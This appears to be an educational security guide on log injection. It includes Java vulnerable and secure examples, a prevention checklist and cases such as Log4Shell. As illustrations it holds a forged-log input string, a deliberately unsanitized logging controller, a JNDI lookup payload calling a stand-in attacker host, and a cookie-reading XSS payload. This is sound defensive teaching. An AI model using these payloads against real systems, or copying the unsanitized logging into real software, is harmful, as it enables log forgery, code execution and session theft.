Log Injection
Log Injection is a critical vulnerability that allows attackers to inject malicious content into application log files. By exploiting improper log sanitization, attackers can forge log entries, corrupt log integrity, and in severe cases like Log4Shell, achieve remote code execution.
What Is Log Injection?
Log Injection occurs when an application writes user-controlled input directly into log files without proper validation or sanitization. Attackers exploit this by injecting specially crafted strings containing newline characters (CRLF), control characters, or executable code that manipulates how logs are interpreted. When user input is logged verbatim, attackers can forge log entries, hide malicious activity, frame other users, or exploit log processing systems.
The vulnerability arises because applications treat log files as trusted repositories of application events, but fail to consider that user input can contain formatting characters that break log structure. A single newline character (\n or \r\n) can create fake log entries that appear legitimate to administrators and automated log analysis tools. More sophisticated attacks exploit log parsing systems, web-based log viewers, or even trigger code execution through vulnerabilities like Log4Shell, where logging libraries evaluate injected expressions.
Log Injection is classified under OWASP Top 10 as A09: Security Logging and Monitoring Failures. While it may seem less severe than direct code injection, Log Injection can have devastating consequences. The infamous Log4Shell vulnerability (CVE-2021-44228) demonstrated how a seemingly harmless logging operation could lead to complete system compromise. Organizations often overlook log sanitization, making this vulnerability widespread despite being relatively easy to prevent.
How It Works
The application accepts user input from a form, URL parameter, HTTP header, or API request and writes it to a log file for debugging, auditing, or monitoring purposes. This could be a login attempt, search query, error message, or any other user activity.
The application directly concatenates user input into the log message without stripping newlines, control characters, or special sequences. For example: logger.info("User login: " + username) where username comes directly from user input.
Instead of providing a normal username, the attacker enters a specially crafted string such as admin\n2026-03-26 12:00:00 INFO User login: admin. This string contains a newline character followed by a forged log entry designed to look legitimate.
The log file now contains the attacker's forged entries. What should have been a single log line becomes multiple lines, with the fake entry appearing to be a separate, legitimate log event. Automated log analysis tools and administrators cannot distinguish the forged entries from real ones.
Depending on the attack type, the injected content can hide malicious activity by inserting fake successful login entries, frame other users by creating false audit trails, exploit log viewers through XSS payloads, or trigger code execution in vulnerable logging frameworks like Log4j.
Vulnerable Code Example
@RestController
public class AuthController {
private static final Logger logger = LoggerFactory.getLogger(AuthController.class);
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody LoginRequest req) {
// VULNERABLE: User input is directly logged without sanitization
// Attacker can inject newlines to forge log entries
logger.info("User login attempt: " + req.getUsername());
// ... authentication logic ...
if (authSuccess) {
logger.info("Successful login for user: " + req.getUsername());
return ResponseEntity.ok("Login successful");
}
return ResponseEntity.status(401).body("Invalid credentials");
}
}
// An attacker can forge log entries by submitting:
// username: admin\n2026-03-26 12:00:00 INFO Successful login for user: admin
//
// Resulting log file:
// 2026-03-26 11:59:58 INFO User login attempt: admin
// 2026-03-26 12:00:00 INFO Successful login for user: admin
// 2026-03-26 12:00:00 INFO Successful login for user: admin
//
// The fake entry makes it appear the attacker successfully logged in.Secure Code Example
@RestController
public class AuthController {
private static final Logger logger = LoggerFactory.getLogger(AuthController.class);
@PostMapping("/login")
public ResponseEntity<?> login(@RequestBody LoginRequest req) {
// SECURE: Sanitize input by removing newlines and control characters
String sanitizedUsername = sanitizeForLog(req.getUsername());
// Use parameterized logging (SLF4J placeholders)
// This prevents log injection and improves performance
logger.info("User login attempt: {}", sanitizedUsername);
// ... authentication logic ...
if (authSuccess) {
logger.info("Successful login for user: {}", sanitizedUsername);
return ResponseEntity.ok("Login successful");
}
return ResponseEntity.status(401).body("Invalid credentials");
}
private String sanitizeForLog(String input) {
if (input == null) return "null";
// Strip newlines, carriage returns, and other control characters
return input.replaceAll("[\\r\\n\\t]", "_")
.replaceAll("[^\\p{Print}]", "");
}
}
// Even if an attacker submits: admin\n2026-03-26 12:00:00 INFO ...
// The sanitized log will show: admin_2026-03-26_12:00:00_INFO_...
// The newlines are replaced with underscores, preventing log forgery.Types of Log Injection
Log Forging
The most common type of Log Injection where attackers inject newline characters (CRLF) to create fake log entries. By inserting \n or \r\n sequences, attackers can fabricate log events that appear legitimate, such as successful login attempts, completed transactions, or cleared security checks. This technique is used to hide malicious activity by inserting misleading entries, frame other users by creating false audit trails, or manipulate automated log analysis systems that rely on log integrity for security monitoring and compliance.
Log-Based Code Execution
The most severe form of Log Injection, exemplified by Log4Shell (CVE-2021-44228). Certain logging frameworks like Apache Log4j evaluate expressions embedded in log messages. Attackers inject JNDI lookup strings such as ${jndi:ldap://attacker.com/a} into user input. When logged, Log4j processes this expression, makes an LDAP request to the attacker's server, and executes arbitrary Java code. This vulnerability led to widespread exploitation affecting millions of systems worldwide, demonstrating how a logging operation can escalate to remote code execution and complete system compromise.
Log Viewer Exploitation
When logs are displayed in web-based dashboards or management interfaces (such as Kibana, Splunk, Graylog, or custom admin panels), injected content can exploit the viewer application. Attackers inject HTML or JavaScript payloads into log messages, such as <script>alert(document.cookie)</script>. If the log viewer does not properly escape or sanitize log content before rendering, these payloads execute as XSS attacks in the administrator's browser. This can lead to session hijacking, credential theft, or unauthorized administrative actions, turning a logging system into an attack vector against system administrators.
Impact
A successful Log Injection attack can compromise the integrity of security monitoring, enable advanced attacks, and in severe cases like Log4Shell, lead to complete system takeover.
Attackers inject fake log entries to create false audit trails that make unauthorized access appear legitimate. By forging successful authentication logs, approved transaction records, or security check confirmations, attackers can operate undetected while automated monitoring systems and administrators review corrupted logs that show no signs of compromise.
Injected log entries can frame innocent users for malicious actions by creating fake events attributed to their accounts. This undermines log integrity for forensic investigations, compliance audits, and incident response, making it impossible to determine what actually occurred during a security incident.
When logs are viewed through web-based dashboards like Kibana or Splunk without proper output encoding, injected JavaScript or HTML executes in administrators' browsers. This can steal session cookies, perform administrative actions on behalf of the logged-in admin, or pivot to attack the log management infrastructure itself.
Vulnerabilities like Log4Shell demonstrate the catastrophic potential of Log Injection. By injecting JNDI lookup expressions into logs processed by vulnerable logging frameworks, attackers can trigger remote code execution, install backdoors, exfiltrate sensitive data, or move laterally across networks. The Log4Shell vulnerability affected millions of applications globally, requiring emergency patching across entire industries.
Prevention Checklist
Strip newline characters (\\n, \\r), carriage returns, tabs, and other control characters from user input before writing to logs. Use a centralized sanitization function that replaces these characters with safe alternatives like underscores or removes them entirely. Never trust user input to be safe for logging, even if it has been validated for other purposes.
Modern logging frameworks like SLF4J support parameterized log messages using placeholders (e.g., logger.info("User: {}", username)). This separates the log template from the data, improves performance by deferring string concatenation, and provides a layer of protection against injection by treating parameters as data rather than executable content.
Use structured logging formats like JSON where each log field is explicitly defined and typed. This makes it impossible for attackers to inject fake log entries through newlines because the log structure is preserved by the format. Tools like Logback with JSON encoders or libraries like logstash-logback-encoder enforce structured logging automatically.
When displaying logs in web interfaces, treat all log content as untrusted data and apply proper output encoding. Use HTML entity encoding to prevent XSS attacks. Never render log messages as raw HTML. Implement Content Security Policy (CSP) headers in log viewer applications to provide additional protection against injected scripts.
Regularly update logging frameworks like Log4j, Logback, and related dependencies to patch known vulnerabilities. The Log4Shell incident highlighted the critical importance of timely patching. Use dependency scanning tools in your CI/CD pipeline to detect vulnerable versions of logging libraries and automate security updates where possible.
For Log4j 2.x, set the system property log4j2.formatMsgNoLookups=true or upgrade to patched versions (2.17.0+) that disable JNDI lookup by default. Review logging framework configurations to disable any features that evaluate expressions, execute code, or make external connections based on log message content. Apply the principle of least functionality to logging systems.
Real-World Examples
Log4Shell (Apache Log4j)
The most severe Log Injection vulnerability ever discovered. CVE-2021-44228 allowed remote code execution in Apache Log4j 2.x by injecting JNDI lookup expressions into log messages. Attackers exploited this by sending malicious strings to any input field that would be logged, triggering arbitrary code execution. The vulnerability affected millions of applications globally, from enterprise software to cloud services, requiring emergency patching across entire industries and government systems.
Kibana Log Injection XSS
Multiple XSS vulnerabilities were discovered in Kibana's log viewing interface. Attackers could inject JavaScript payloads into application logs, which would then execute in administrators' browsers when viewing logs through Kibana dashboards. This allowed attackers to hijack admin sessions, modify Elasticsearch queries, or pivot to attack the underlying infrastructure, demonstrating how log viewers can become attack vectors.
WordPress Core Log Injection
A Log Injection vulnerability in WordPress core allowed attackers to forge log entries in debug logs. While WordPress debug logs are typically not enabled in production, installations with debugging enabled were vulnerable to log forgery attacks. Attackers could inject newlines into user-agent strings or other HTTP headers to create fake log entries, making it difficult for administrators to distinguish legitimate access from malicious activity during incident response.
VMware Horizon Log4j Exploitation
Following the Log4Shell disclosure, threat actors actively exploited VMware Horizon servers that used vulnerable Log4j versions. Attackers injected JNDI payloads into login fields and other input forms, achieving remote code execution on internet-facing VMware infrastructure. Multiple nation-state actors and ransomware groups exploited this vector, with some organizations suffering complete network compromise before patches could be deployed, resulting in data theft and ransomware deployment.
Ready to Test Your Knowledge?
Put what you have learned into practice. Try identifying and fixing Log Injection vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.